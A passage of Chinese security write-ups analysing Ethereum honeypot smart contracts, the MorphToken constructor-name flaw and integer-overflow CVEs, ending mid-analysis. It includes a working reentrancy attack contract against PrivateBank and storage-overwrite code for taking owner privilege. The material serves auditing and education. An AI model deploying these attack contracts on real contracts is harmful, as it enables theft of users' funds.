这是因为在合约创立之后,任何人都可以对合约进行操作,包括合约的创建者:
合约创建者在合约
被攻击
前,设置一个只有创建者知道的密码并将passHasBeenSet
置为True
,将只有合约创建者可以取出智能合约中的以太币。与之类似的智能合约还有
NEW_YEARS_GIFT
:- Github地址:Solidlity-Vulnerable/honeypots/NEW_YEARS_GIFT.sol
- 智能合约地址:0x13c547Ff0888A0A876E6F1304eaeFE9E6E06FC4B
2.2 合约永远比你有钱:MultiplicatorX3
- Github地址:smart-contract-honeypots/MultiplicatorX3.sol smart-contract-honeypots/Multiplicator.sol
- 智能合约地址:0x5aA88d2901C68fdA244f1D0584400368d2C8e739
- 合约关键代码如下:
123456789<span class="kd">function</span> <span class="nx">multiplicate</span><span class="p">(</span><span class="nx">address</span> <span class="nx">adr</span><span class="p">)</span><span class="kr">public</span><span class="nx">payable</span><span class="p">{</span><span class="k">if</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">value</span><span class="o">>=</span><span class="k">this</span><span class="p">.</span><span class="nx">balance</span><span class="p">)</span><span class="p">{</span><span class="nx">adr</span><span class="p">.</span><span class="nx">transfer</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">balance</span><span class="o">+</span><span class="nx">msg</span><span class="p">.</span><span class="nx">value</span><span class="p">);</span><span class="p">}</span><span class="p">}</span>对于
multiplicate()
而言,只要你转账的金额大于账户余额,就可以把账户余额
和你本次转账的金额
都转给一个可控的地址。在这里我们需要知道:在调用
multiplicate()
时,账户余额 = 之前的账户余额 + 本次转账的金额。所以msg.value >= this.balance
只有在原余额为0,转账数量为0的时候才会成立。也就意味着,账户余额永远不会比转账金额小。与之类似的智能合约还有
PINCODE
:- Github地址:Solidlity-Vulnerable/honeypots/PINCODE.sol
- 智能合约地址:0x35c3034556b81132e682db2f879e6f30721b847c
2.3 谁是合约主人:TestBank
- Github地址:smart-contract-honeypots/TestBank.sol
- 智能合约地址:0x70C01853e4430cae353c9a7AE232a6a95f6CaFd9
- 合约关键代码如下:
12345678910111213141516171819contract Owned {address public owner;function Owned() { owner = msg.sender; }modifier onlyOwner{ if (msg.sender != owner) revert(); _; }}contract TestBank is Owned {address public owner = msg.sender;uint256 ecode;uint256 evalue;function useEmergencyCode(uint256 code) public payable {if ((code == ecode) && (msg.value == evalue)) owner = msg.sender;}function withdraw(uint amount) public onlyOwner {require(amount <= this.balance);msg.sender.transfer(amount);}根据关键代码的内容,如果我们可以通过
useEmergencyCode()
中的判断,那就可以将owner
设置为我们的地址,然后通过withdraw()
函数就可以取出合约中的以太币。如果你也有了上述的分析,那么就需要学习一下
Solidity
中继承的相关知识参考链接5:该部分引用自参考链接5
重点:Solidity的继承原理是代码拷贝,因此换句话说,继承的写法总是能够写成一个单独的合约。
情况五:子类父类有相同名字的变量。 父类A的test1操纵父类中的variable,子类B中的test2操纵子类中的variable,父类中的test2因为没被调用所以不存在。 解释:对EVM来说,每个storage variable都会有一个唯一标识的slot id。在下面的例子说,虽然都叫做variable,但是从bytecode角度来看,他们是由不同的slot id来确定的,因此也和变量叫什么没有关系。12345678910111213141516171819202122232425262728293031contract A{uint variable = 0;function test1(uint a) returns(uint){variable++;return variable;}function test2(uint a) returns(uint){variable += a;return variable;}}contract B is A{uint variable = 0;function test2(uint a) returns(uint){variable++;return variable;}}====================contract B{uint variable1 = 0;uint variable2 = 0;function test1(uint a) returns(uint v){variable1++;return variable1;}function test2(uint a) returns(uint v){variable2++;return variable2;}}根据样例中的代码,我们将该合约的核心代码修改如下:
12345678910111213141516contract TestBank is Owned {address public owner1 = msg.sender;modifier onlyOwner{ if (msg.sender != owner1) revert(); _; }address public owner2 = msg.sender;uint256 ecode;uint256 evalue;function useEmergencyCode(uint256 code) public payable {if ((code == ecode) && (msg.value == evalue)) owner2 = msg.sender;}function withdraw(uint amount) public onlyOwner {require(amount <= this.balance);msg.sender.transfer(amount);}变量
owner1
是父类Owner
中的owner
变量,而owner2
是子类TestBank
中的变量。useEmergencyCode()
函数只会修改owner2
,而非owner1
,自然无法调用withdraw()
。 由于调用useEmergencyCode()
时需要转作者设置的evalue wei
的以太币,所以只会造成以太币白白丢失。0x03 新颖的赌博游戏
区块链的去中心化给博彩行业带来了新的机遇,然而久赌必输这句话也不无道理。
本章将会给介绍四个基于区块链的赌博游戏并分析庄家如何赢钱的。3.1 加密轮盘赌轮:CryptoRoulette
- Github地址:smart-contract-honeypots/CryptoRoulette.sol Solidlity-Vulnerable/honeypots/CryptoRoulette.sol
- 智能合约地址:0x94602b0E2512DdAd62a935763BF1277c973B2758
- 合约关键代码如下:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647// CryptoRoulette//// Guess the number secretly stored in the blockchain and win the whole contract balance!// A new number is randomly chosen after each try.//// To play, call the play() method with the guessed number (1-20). Bet price: 0.1 ethercontract CryptoRoulette {uint256 private secretNumber;uint256 public lastPlayed;uint256 public betPrice = 0.1 ether;address public ownerAddr;struct Game {address player;uint256 number;}function shuffle() internal {// randomly set secretNumber with a value between 1 and 20secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 20 + 1;}function play(uint256 number) payable public {require(msg.value >= betPrice && number <= 10);Game game;game.player = msg.sender;game.number = number;gamesPlayed.push(game);if (number == secretNumber) {// win!msg.sender.transfer(this.balance);}shuffle();lastPlayed = now;}function kill() public {if (msg.sender == ownerAddr && now > lastPlayed + 1 days) {suicide(msg.sender);}}}该合约设置了一个
1-20
的随机数:secretNumber
,玩家通过调用play()
去尝试竞猜这个数字,如果猜对,就可以取走合约中所有的钱并重新设置随机数secretNumber
。这里存在两层猫腻。第一层猫腻就出在这个
play()
。play()
需要满足两个条件才会运行:- msg.value >= betPrice,也就是每次竞猜都需要发送至少
0.1
个以太币。 - number <= 10,竞猜的数字不能大于
10
。
由于生成的随机数在
1-20
之间,而竞猜的数字不能大于10
, 那么如果随机数大于10
呢?将不会有人能竞猜成功!所有被用于竞猜的以太币都会一直存储在智能合约中。最终合约拥有者可以通过kill()
函数取出智能合约中所有的以太币。在实际的场景中,我们还遇到过生成的随机数在
1-10
之间,竞猜数字不能大于10
的智能合约。这样的合约看似保证了正常的竞猜概率,但却依旧是蜜罐智能合约!这与前文说到的第二层猫腻有关。我们将会在下一节3.2 开放地址彩票:OpenAddressLottery
中说到相关细节。有兴趣的读者可以读完3.2节
后再回来重新分析一下该合约。3.2 开放地址彩票:OpenAddressLottery
3.2.1 蜜罐智能合约分析
- Github地址:Solidlity-Vulnerable/honeypots/OpenAddressLottery.sol
- 智能合约地址:0xd1915A2bCC4B77794d64c4e483E43444193373Fa
- 合约关键代码如下:
12345678910111213141516171819202122232425contract OpenAddressLottery{struct SeedComponents{uint component1;uint component2;uint component3;uint component4;}address owner; //address of the owneruint private secretSeed; //seed used to calculate number of an addressuint private lastReseed; //last reseed - used to automatically reseed the contract every 1000 blocksuint LuckyNumber = 1; //if the number of an address equals 1, it winsfunction forceReseed() { //reseed initiated by the owner - for testing purposesrequire(msg.sender==owner);SeedComponents s;s.component1 = uint(msg.sender);s.component2 = uint256(block.blockhash(block.number - 1));s.component3 = block.difficulty*(uint)(block.coinbase);s.component4 = tx.gasprice * 7;reseed(s); //reseed}}OpenAddressLottery
的逻辑很简单,每次竞猜,都会根据竞猜者的地址随机生成 0 或者 1,如果生成的值和LuckyNumber
相等的话(LuckyNumber
初始值为1
),那么竞猜者将会获得1.9
倍的奖金。对于安全研究人员来说,这个合约可能是这些蜜罐智能合约中价值最高的一个。在这里,我将会使用一个
demo
来说一说Solidity
编译器的一个bug
:123456789101112131415161718192021222324pragma solidity ^0.4.24;contract OpenAddressLottery_test{address public addr = 0xa;uint public b = 2;uint256 public c = 3;bytes public d = "zzzz";struct SeedComponents{uint256 component1;uint256 component2;uint256 component3;uint256 component4;}function test() public{SeedComponents s;s.component1 = 252;s.component2 = 253;s.component3 = 254;s.component4 = 255;}}在运行
test()
之前,addr
、b
、c
、d
的值如下图所示:在运行了
test()
之后,各值均被覆盖。这个
bug
已经被提交给官方,并将在Solidity 0.5.0
中被修复。截止笔者发文,
Solidity 0.5.0
依旧没有推出。这也就意味着,目前所有的智能合约都可能会受到该bug
的影响。我们将会在 3.2.2节 中说一说这个bug
可能的影响面。想了解蜜罐智能合约而非bug攻击面的读者可以跳过这一小节对于该蜜罐智能合约而言,当
forceReseed()
被调用后,s.component4 = tx.gasprice * 7;
将会覆盖掉LuckyNumber
的值,使之为7
。而用户生成的竞猜数字只会是1
或者0
,这也就意味着用户将永远不可能赢得彩票。3.2.2
Solidity 0.4.x
结构体局部变量量引起的变量量覆盖在
3.2.1节
中,介绍了OpenAddressLottery
智能合约使用未初始化的结构体局部变量直接覆盖智能合约中定义的前几个变量,从而达到修改变量值的目的。按照这种思路,特意构造某些参数的顺序,比如将智能合约的余额值放在首部,那么通过变量覆盖就可以修改余额值;除此之外,如果智能合约中常用的
owner
变量定义在首部,便可以造成权限提升。示例代码1
如下(编译器选择最新的0.4.25-nightly.2018.6.22+commit.9b67bdb3.Emscripten.clang
):1234567891011121314151617181920212223pragma solidity ^0.4.0;contract Test {address public owner;address public a;struct Seed {address x;uint256 y;}function Test() {owner = msg.sender;a = 0x1111111111111111111111111111111111111111;}function fake_foo(uint256 n) public {Seed s;s.x = msg.sender;s.y = n;}}如图所示,攻击者
0x583031d1113ad414f02576bd6afabfb302140225
在调用fake_foo()
之后,成功将owner
修改成自己。在
2.3节
中,介绍了Solidity
的继承原理是代码拷贝。也就是最终都能写成一个单独的合约。这也就意味着,该bug
也会影响到被继承的父类变量,示例代码2
如下:1234567891011121314151617181920212223242526pragma solidity ^0.4.0;contract Owner {address public owner;modifier onlyOwner {require(owner == msg.sender);_;}}contract Test is Owner {struct Seed {address x;}function Test() {owner = msg.sender;}function fake_foo() public {Seed s;s.x = msg.sender;}}相比于
示例代码1
,示例代码2
更容易出现在现实生活中。由于示例代码2
配合复杂的逻辑隐蔽性较高,更容易被不良合约发布者利用。比如利用这种特性留后门
。在参考链接10中,开发者认为由于某些原因,让编译器通过警告的方式通知用户更合适。所以在目前
0.4.x
版本中,编译器会通过警告的方式通知智能合约开发者;但这种存在安全隐患的代码是可以通过编译并部署的。solidity
开发者将在0.5.0
版本将该类问题归于错误处理。3.3 山丘之王:KingOfTheHill
- Github地址:Solidlity-Vulnerable/honeypots/KingOfTheHill.sol
- 智能合约地址:0x4dc76cfc65b14b3fd83c8bc8b895482f3cbc150a
- 合约关键代码如下:
1234567891011121314151617181920212223242526272829contract Owned {address owner;function Owned() {owner = msg.sender;}modifier onlyOwner{if (msg.sender != owner)revert();_;}}contract KingOfTheHill is Owned {address public owner;function() public payable {if (msg.value > jackpot) {owner = msg.sender;withdrawDelay = block.timestamp + 5 days;}jackpot+=msg.value;}function takeAll() public onlyOwner {require(block.timestamp >= withdrawDelay);msg.sender.transfer(this.balance);jackpot=0;}}这个合约的逻辑是:每次请求
fallback()
,变量jackopt
就是加上本次传入的金额。如果你传入的金额大于之前的jackopt
,那么owner
就会变成你的地址。看到这个代码逻辑,你是否感觉和
2.2节
、2.3节
有一定类似呢?让我们先看第一个问题:
msg.value > jackopt
是否可以成立?答案是肯定的,由于jackopt+=msg.value
在msg.value > jackopt
判断之后,所以不会出现2.2节
合约永远比你钱多的情况。然而这个合约存在与
2.3节
同样的问题。在msg.value > jackopt
的情况下,KingOfTheHill
中的owner
被修改为发送者的地址,但Owned
中的owner
依旧是合约创建人的地址。这也就意味着取钱函数takeAll()
将永远只有庄家才能调用,所有的账户余额都将会进入庄家的口袋。与之类似的智能合约还有
RichestTakeAll
:- Github地址:Solidlity-Vulnerable/honeypots/RichestTakeAll.sol
- 智能合约地址:0xe65c53087e1a40b7c53b9a0ea3c2562ae2dfeb24
3.4 以太币竞争游戏:RACEFORETH
- Github地址:Solidlity-Vulnerable/honeypots/RACEFORETH.sol
- 合约关键代码如下:
1234567891011121314151617181920212223contract RACEFORETH {uint256 public SCORE_TO_WIN = 100 finney;uint256 public speed_limit = 50 finney;function race() public payable {if (racerSpeedLimit[msg.sender] == 0) { racerSpeedLimit[msg.sender] = speed_limit; }require(msg.value <= racerSpeedLimit[msg.sender] && msg.value > 1 wei);racerScore[msg.sender] += msg.value;racerSpeedLimit[msg.sender] = (racerSpeedLimit[msg.sender] / 2);latestTimestamp = now;// YOU WONif (racerScore[msg.sender] >= SCORE_TO_WIN) {msg.sender.transfer(PRIZE);}}function () public payable {race();}}这个智能合约有趣的地方在于它设置了最大转账上限是
50 finney
,最小转账下限是2 wei
(条件是大于1 wei
,也就是最小2 wei
)。每次转账之后,最大转账上限都会缩小成原来的一半,当总转账数量大于等于100 finney
,那就可以取出庄家在初始化智能合约时放进的钱。假设我们转账了
x
次,那我们最多可以转的金额如下:150 + 50 * (1/2)^1 + 50 * (1/2)^2 + 50 * (1/2)^3 ...... 50 * (1/2)^x根据高中的知识可以知道,该数字将会永远小于
100
150 * (1/2)^0 + 50 * (1/2)^1 + 50 * (1/2)^2 + 50 * (1/2)^3 ...... < 50 * 2而智能合约中设置的赢取条件就是总转账数量大于等于
100 finney
。这也就意味着,没有人可以达到赢取的条件!0x04 黑客的漏洞利用
利用重入漏洞的The DAO事件直接导致了以太坊的硬分叉、利用整数溢出漏洞可能导致代币交易出现问题。
DASP TOP10 中的前三: 重入漏洞、访问控制、算数问题在这些蜜罐智能合约中均有体现。黑客在这场欺诈者的游戏中扮演着不可或缺的角色。4.1 私人银行(重入漏洞):PrivateBank
- Github地址:smart-contract-honeypots/PrivateBank.sol Solidlity-Vulnerable/honeypots/PRIVATE_BANK.sol
- 智能合约地址:0x95d34980095380851902ccd9a1fb4c813c2cb639
- 合约关键代码如下:
123456789101112function CashOut(uint _am){if(_am<=balances[msg.sender]){if(msg.sender.call.value(_am)()){balances[msg.sender]-=_am;TransferLog.AddMessage(msg.sender,_am,"CashOut");}}}了解过
DAO
事件以及重入漏洞可以很明显地看出,CashOut()
存在重入漏洞。在了解重入漏洞之前,让我们先了解三个知识点:
Solidity
的代码执行限制。为了防止以太坊网络被攻击或滥用,智能合约执行的每一步都需要消耗gas
,俗称燃料。如果燃料消耗完了但合约没有执行完成,合约状态会回滚。addr.call.value()()
,通过call()
的方式进行转账,会传递目前所有的gas
进行调用。- 回退函数
fallback()
: 回退函数将会在智能合约的call
中被调用。
如果我们调用合约中的
CashOut()
,关键代码的调用过程如下图:由于回退函数可控,如果我们在回退函数中再次调用
CashOut()
, 由于满足_am<=balances[msg.sender]
,将会再次转账,因此不断循环,直至 合约中以太币被转完或gas
消耗完。根据上述分析写出攻击的代码如下:
1234567891011121314151617181920212223242526272829303132contract Attack {address owner;address victim;function Attack() payable { owner = msg.sender; }function setVictim(address target) { victim = target; }function step1(uint256 amount) payable {if (this.balance >= amount) {victim.call.value(amount)(bytes4(keccak256("Deposit()")));}}function step2(uint256 amount) {victim.call(bytes4(keccak256("CashOut(uint256)")), amount);}// selfdestruct, send all balance to ownerfunction stopAttack() {selfdestruct(owner);}function startAttack(uint256 amount) {step1(amount);step2(amount / 2);}function () payable {victim.call(bytes4(keccak256("CashOut(uint256)")), msg.value);}}模拟的攻击步骤如下:
- 正常用户
A
(地址:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
)向该合约存入50 ether
。
- 恶意攻击者
B
(地址:0x583031d1113ad414f02576bd6afabfb302140225
)新建恶意智能合约Attack,实施攻击。不仅取出了自己存入的10 ether
,还取出了A
存入的50 ether
。用户A
的余额还是50 ether
,而恶意攻击者B
的余额也因为发生溢出变成115792089237316195423570985008687907853269984665640564039407584007913129639936
。
虽然此时用户A的余额仍然存在,但由于合约中已经没有以太币了,所以A将无法取出其存入的50个以太币
根据以上的案例可以得出如下结论:当普通用户将以太币存取该蜜罐智能合约地址,他的代币将会被恶意攻击者通过重入攻击取出,虽然他依旧能查到在该智能合约中存入的代币数量,但将无法取出相应的代币。
4.2 偷梁换柱的地址(访问控制):firstTest
- Github地址:smart-contract-honeypots/firstTest.sol
- 智能合约地址:0x42dB5Bfe8828f12F164586AF8A992B3a7B038164
- 合约关键代码如下:
12345678910111213141516171819contract firstTest{address Owner = 0x46Feeb381e90f7e30635B4F33CE3F6fA8EA6ed9b;address emails = 0x25df6e3da49f41ef5b99e139c87abc12c3583d13;address adr;uint256 public Limit= 1000000000000000000;function withdrawal()payable public{adr=msg.sender;if(msg.value>Limit){emails.delegatecall(bytes4(sha3("logEvent()")));adr.send(this.balance);}}}逻辑看起去很简单,只要在调用
withdrawal()
时发送超过1 ether
,该合约就会把余额全部转给发送者。至于通过delegatecall()
调用的logEvent()
,谁在意呢?在
DASP TOP10
的漏洞中,排名第二的就是访问控制漏洞,其中就说到delegatecall()
。delegatecall()
和call()
功能类似,区别仅在于delegatecall()
仅使用给定地址的代码,其它信息则使用当前合约(如存储,余额等等)。这也就意味着调用的logEvent()
也可以修改该合约中的参数,包括adr
。举个例子,在第一个合约中,我们定义了一个变量
adr
,在第二个合约中通过delegatecall()
调用第一个合约中的logEvent()
。第二个合约中的第一个变量就变成了0x1111
。这也就意味着攻击者完全有能力在logEvent()
里面修改adr
的值。为了验证我们的猜测,使用
evmdis
逆向0x25df6e3da49f41ef5b99e139c87abc12c3583d13
地址处的opcode
。logEvent()
处的关键逻辑如下:翻译成
Solidity
的伪代码大致是:12345function logEvent(){if (storage[0] == 0x46FEEB381E90F7E30635B4F33CE3F6FA8EA6ED9B){storage[2] = address of current contract;}}这也就意味着,在调用蜜罐智能合约
firstTest
中的withdrawal()
时,emails.delegatecall(bytes4(sha3("logEvent()")));
将会判断第一个变量Owner
是否是0x46FEEB381E90F7E30635B4F33CE3F6FA8EA6ED9B
,如果相等,就把adr
设置为当前合约的地址。最终将会将该合约中的余额转给当前合约而非消息的发送者。adr
参数被偷梁换柱!4.3 仅仅是测试?(整数溢出):For_Test
- Github地址:Solidlity-Vulnerable/honeypots/For_Test.sol
- 智能合约地址:0x2eCF8D1F46DD3C2098de9352683444A0B69Eb229
- 合约关键代码如下:
123456789101112131415161718192021222324252627282930pragma solidity ^0.4.19;contract For_Test{function Test()payablepublic{if(msg.value> 0.1 ether){uint256 multi =0;uint256 amountToTransfer=0;for(var i=0;i<msg.value*2;i++){multi=i*2;if(multi<amountToTransfer){break;}else{amountToTransfer=multi;}}msg.sender.transfer(amountToTransfer);}}}在说逻辑之前,我们需要明白两个概念:
msg.value
的单位是wei
。举个例子,当我们转1 ether
时,msg.value = 1000000000000000000 (wei)
- 当我们使用
var i
时,i
的数据类型将是uint8
,这个可以在Solidity
官方手册上找到。
如同官方文档所说,当
i = 255
后,执行i++
,将会发生整数溢出,i
的值重新变成0
,这样循环将不会结束。根据这个智能合约的内容,只要转超过
0.1 ether
并调用Test()
,将会进入循环最终得到amountToTransfer
的值,并将amountToTransfer wei
发送给访问者。在不考虑整数溢出的情况下,amountToTransfer
将会是msg.value * 2
。这也是这个蜜罐合约吸引人的地方。正是由于
for
循环中的i
存在整数溢出,在i=255
执行i++
后,i = 0
导致multi = 0 < amountToTransfer
,提前终止了循环。细细算来,转账至少了
0.1 ether(100000000000000000 wei)
的以太币,该智能合约转回510 wei
以太币。损失巨大。与之类似的智能合约还有
Test1
:- Github地址:smart-contract-honeypots/Test1.sol
4.4 股息分配(老版本编译器漏洞):DividendDistributor
- Github地址:Solidlity-Vulnerable/honeypots/DividendDistributor.sol
- 智能合约地址:0x858c9eaf3ace37d2bedb4a1eb6b8805ffe801bba
- 合约关键代码如下:
123456789101112131415function loggedTransfer(uint amount, bytes32 message, address target, address currentOwner) protected{if(! target.call.value(amount)() )throw;Transfer(amount, message, target, currentOwner);}function divest(uint amount) public {if ( investors[msg.sender].investment == 0 || amount == 0)throw;// no need to test, this will throw if amount > investmentinvestors[msg.sender].investment -= amount;sumInvested -= amount;this.loggedTransfer(amount, "", msg.sender, owner);}该智能合约大致有存钱、计算利息、取钱等操作。在最开始的分析中,笔者并未在整个合约中找到任何存在漏洞、不正常的地方,使用
Remix
模拟也没有出现任何问题,一度怀疑该合约是否真的是蜜罐。直到打开了智能合约地址对应的页面:在
Solidity 0.4.12
之前,存在一个bug,如果空字符串""
用作函数调用的参数,则编码器会跳过它。举例:当我们调用了
send(from,to,"",amount)
, 经过编译器处理后的调用则是send(from,to,amount)
。 编写测试代码如下:123456789101112131415pragma solidity ^0.4.0;contract DividendDistributorv3{event Transfer(uint amount,bytes32 message,address target,address currentOwner);function loggedTransfer(uint amount, bytes32 message, address target, address currentOwner){Transfer(amount, message, target, currentOwner);}function divest() public {this.loggedTransfer(1, "a", 0x1, 0x2);this.loggedTransfer(1, "", 0x1, 0x2);}}在
Remix
中将编译器版本修改为0.4.11+commit.68ef5810.Emscripten.clang
后,执行divest()
函数结果如下:在这个智能合约中也是如此。当我们需要调用
divest()
取出我们存进去的钱,最终将会调用this.loggedTransfer(amount, "", msg.sender, owner);
。因为编译器的
bug
,最终调用的是this.loggedTransfer(amount, msg.sender, owner);
,具体的转账函数处就是owner.call.value(amount)
。成功的将原本要转给msg.sender()
的以太币转给合约的拥有者
。合约拥有者成功盗币!0x05 后记
在分析过程中,我愈发认识到这些蜜罐智能合约与原始的蜜罐概念是有一定差别的。相较于蜜罐是诱导攻击者进行攻击,智能合约蜜罐的目的变成了诱导别人转账到合约地址。在欺骗手法上,也有了更多的方式,部分方式具有强烈的参考价值,值得学习。
这些蜜罐智能合约的目的性更强,显著区别与普通的
钓鱼
行为。相较于钓鱼行为面向大众,蜜罐智能合约主要面向的是智能合约开发者
、智能合约代码审计人员
或拥有一定技术背景的黑客
。因为蜜罐智能合约门槛更高,需要能够看懂智能合约才可能会上当,非常有针对性,所以使用蜜罐
这个词,我认为是非常贴切的。这也对
智能合约代码审计人员
提出了更高的要求,不能只看懂代码,要了解代码潜在的逻辑和威胁、了解外部可能的影响面(例如编辑器bug
等),才能知其然也知其所以然。对于
智能合约代码开发者
来说,先知攻
才能在代码写出前就拥有一定的警惕心理,从源头上减少存在漏洞的代码。目前智能合约正处于新生阶段,流行的
solidity
语言也还没有发布正式1.0
版本,很多语⾔的特性还需要发掘和完善;同时,区块链的相关业务也暂时没有出现完善的流水线操作。正因如此,在当前这个阶段智能合约代码审计更是相当的重要,合约的部署一定要经过严格的代码审计。最后感谢
404实验室
的每一位小伙伴,分析过程中的无数次沟通交流,让这篇文章羽翼渐丰。
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)欢迎扫码咨询:
0x06 参考链接
- Github smart-contract-honeypots
- Github Solidlity-Vulnerable
- The phenomenon of smart contract honeypots
- Solidity 中文手册
- Solidity原理(一):继承(Inheritance)
- 区块链安全 - DAO攻击事件解析
- 以太坊智能合约安全入门了解一下
- Exposing Ethereum Honeypots
- Solidity Bug Info
- Uninitialised storage references should not be allowed
0x07 附录:已知蜜罐智能合约地址以及交易情况
基于已知的欺骗手段,我们通过内部的以太坊智能合约审计系统一共寻找到
118
个蜜罐智能合约地址,具体结果如下:下载地址:下载
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/631/
-
从以太坊”MorphToken事件”看智能合约构造函数大小写编码错误漏洞
作者:fenix@知道创宇404区块链安全研究团队
时间:2018年6月22日一、漏洞概述
以太坊智能合约的含义就是一组代码(函数)和数据(合约的状态),它们位于以太坊区块链的一个特定地址上。智能合约一般使用solidity语言编写。
Morpheus Network与世界上一些大型航运、海关和银行公司协商,通过利用区块链的智能合约技术建立一个全面服务的、全球性的、自动化的、开放的供应链平台和一个集成的加密货币支付系统 ,发布基于以太坊的 MorphToken。
2018年6月22日,Morpheus Network 发公告称将发布新的智能合约,以更新目前含有漏洞的合约代码。新的Token名称为MRPH,新旧Token以1:1兑换。
随后,知道创宇404区块链安全研究团队开始漏洞应急,通过分析MorphToken合约代码和交易历史,确定该漏洞是由于大小写编码问题,错误的将Owned合约的构造函数Owned的首字母小写,使之成为了一个普通函数owned,任何以太坊账户均可调用该函数夺取合约的所有权,进一步实现盗币等系列非法操作。随即我们发布了相关应急报告,同时我们也注意到BCSEC安全团队发布了相关的分析文档。
在后续的研究中,我们发现早在2017年8月29日,Github上就有人提到了这种因构造函数缺失导致的合约安全漏洞问题。该漏洞目前影响包括MorphToken、B2X、DoubleOrNothingImpl等多个智能合约。
二、漏洞原理
在MorphToken的合约代码里:https://etherscan.io/address/0x2ef27bf41236bd859a95209e17a43fbd26851f92#code 可以明显的看到相关大小写编写错误:
以太坊智能合约中的构造函数主要用于初始化,如:确定合约的所有者,并且只会在合约部署时运行。在小于0.4.22版本的solidify编译器语法要求中,构造函数的名称应该和合约名称保持一致。如果程序员在编写合约时将构造函数名称写错,那么原本的构造函数将成为任何人都可以调用的普通函数。漏洞示例代码及在Remix-ide中的复现结果如下:
0x01 漏洞合约部署
下图中,Bank合约继承自Owned合约。在Owned合约中,由于错误的编码,将构造函数名称写错,owned函数成为了一个普通函数。可以看到,Bank合约部署后,由于缺少构造函数,初始化时owner为0x0000000000000000000000000000000000000000。
0x02 漏洞现场还原
任何以太坊账户都可以调用Bank合约继承自Owned合约的owned函数,更改Bank合约的owner变量,从而使合约所有权发生转移。
如下如所示,0x14723a09acff6d2a60dcdf7aa4aff308fddc160c这个账户调用了Bank合约的owned函数后,可以看到Bank合约的owner变成了0x14723a09acff6d2a60dcdf7aa4aff308fddc160c。同理,攻击者也可以利用这个漏洞提权,实施一系列恶意操作。
三、漏洞影响评估
我们使用内部的以太坊智能合约审计系统对以太坊主链上所有30000+公开智能合约进行了自动化审计,确认受该大小写编码漏洞影响的共计16个,以下为统计结果:
(受漏洞影响程度取决于合约的逻辑,具体代码审计结果可联系知道创宇404区块链安全研究团队)
理论上在合约部署后,由于编码错误引起的构造函数缺失,owner默认值会变为0x0000000000000000000000000000000000000000,这样合约中涉及到owner的函数调用都会异常,合约所有者应该能及时发现漏洞才是。然而MorphToken这种市值几百万美金的代币,因为合约存在这个编码漏洞而被盗币。通过分析Morph Token源代码,我们得到了答案。MorphToken继承了Owned合约,但是自己实现了构造函数。就是说,是父合约向外留了一个“后门”。
另一种情况,如果合约中没有涉及owner权限的函数调用,那么即使攻击者盗取了合约所有权,也没有任何用处。上表B2X合约中就是这种情况。
总体来说,受漏洞影响的合约数量不多,属于被MorphToken带着“火”了一把的漏洞。
事实上,很多安全漏洞都来源于程序员的粗心编码,智能合约这种部署后即不可更改的更应加强代码审计。
四、防护方案
1、0.4.22版本以后的solidity编译器引入了constructors关键字,以替代低版本的将合约名作为构造函数名的语法,从而避免程序员编码错误。强烈建议采用最新版本编译器。
2、技术业务咨询
知道创宇404区块链安全研究团队:http://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)欢迎扫码咨询:
五、相关链接
[1] Morpheus 官网
https://morpheus.network/
[2] 官方公告
https://medium.com/@themorpheus/new-morpheus-network-token-smart-contract-91b80dbc7655
[3] 以太坊主链智能合约
https://etherscan.io/contractsVerified
[4] 合约构造函数缺失漏洞示例
https://github.com/trailofbits/not-so-smart-contracts/blob/master/missing_constructor/Missing.sol
[5] 漏洞详情参考
https://bcsec.org/index/detail?id=157&tag=1本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/630/
-
以太坊智能合约 Owner 相关 CVE 漏洞分析
作者:Hcamael@知道创宇404区块链安全研究团队
背景
最近学习了下以太坊的智能合约,而且也看到挺多厂家pr智能合约相关的漏洞,其中《ERC20智能合约整数溢出系列漏洞披露》文章中披露了6个CVE编号的漏洞,而这些漏洞都属于整型溢出漏洞范畴,其中5个漏洞均需要合约Owner才能触发利用。本文正是针对这些漏洞从合约代码及触发逻辑上做了详细分析,并提出了一些关于owner相关漏洞的思考。
漏洞分析
1. CVE-2018-11809
该漏洞被称为“超额购币”,相关合约(EthLendToken)源码: https://etherscan.io/address/0x80fB784B7eD66730e8b1DBd9820aFD29931aab03#code
在合约代码中,
buyTokensPresale
和buyTokensICO
两个函数都是存在整型上溢出的情况:12345678910111213141516171819202122232425262728293031function buyTokensPresale() public payable onlyInState(State.PresaleRunning){// min - 1 ETHrequire(msg.value >= (1 ether / 1 wei));uint newTokens = msg.value * PRESALE_PRICE;require(presaleSoldTokens + newTokens <= PRESALE_TOKEN_SUPPLY_LIMIT);balances[msg.sender] += newTokens;supply+= newTokens;presaleSoldTokens+= newTokens;totalSoldTokens+= newTokens;LogBuy(msg.sender, newTokens);}function buyTokensICO() public payable onlyInState(State.ICORunning){// min - 0.01 ETHrequire(msg.value >= ((1 ether / 1 wei) / 100));uint newTokens = msg.value * getPrice();require(totalSoldTokens + newTokens <= TOTAL_SOLD_TOKEN_SUPPLY_LIMIT);balances[msg.sender] += newTokens;supply+= newTokens;icoSoldTokens+= newTokens;totalSoldTokens+= newTokens;LogBuy(msg.sender, newTokens);}溢出点:
12require(presaleSoldTokens + newTokens <= PRESALE_TOKEN_SUPPLY_LIMIT);require(totalSoldTokens + newTokens <= TOTAL_SOLD_TOKEN_SUPPLY_LIMIT);拿
buyTokensPresale
函数举例,在理论上presaleSoldTokens + newTokens
存在整型上溢出漏洞,会导致绕过require
判断,造成超额购币。接下来,我们再仔细分析一下,如果造成整型上溢出,先来看看
presaleSoldTokens
变量的最大值123uint public presaleSoldTokens = 0;require(presaleSoldTokens + newTokens <= PRESALE_TOKEN_SUPPLY_LIMIT);presaleSoldTokens+= newTokens;该合约代码中,
presaleSoldTokens
变量相关的代码只有这三行,因为存在着require判断,所以不论presaleSoldTokens + newTokens
是否溢出,presaleSoldTokens <= PRESALE_TOKEN_SUPPLY_LIMIT
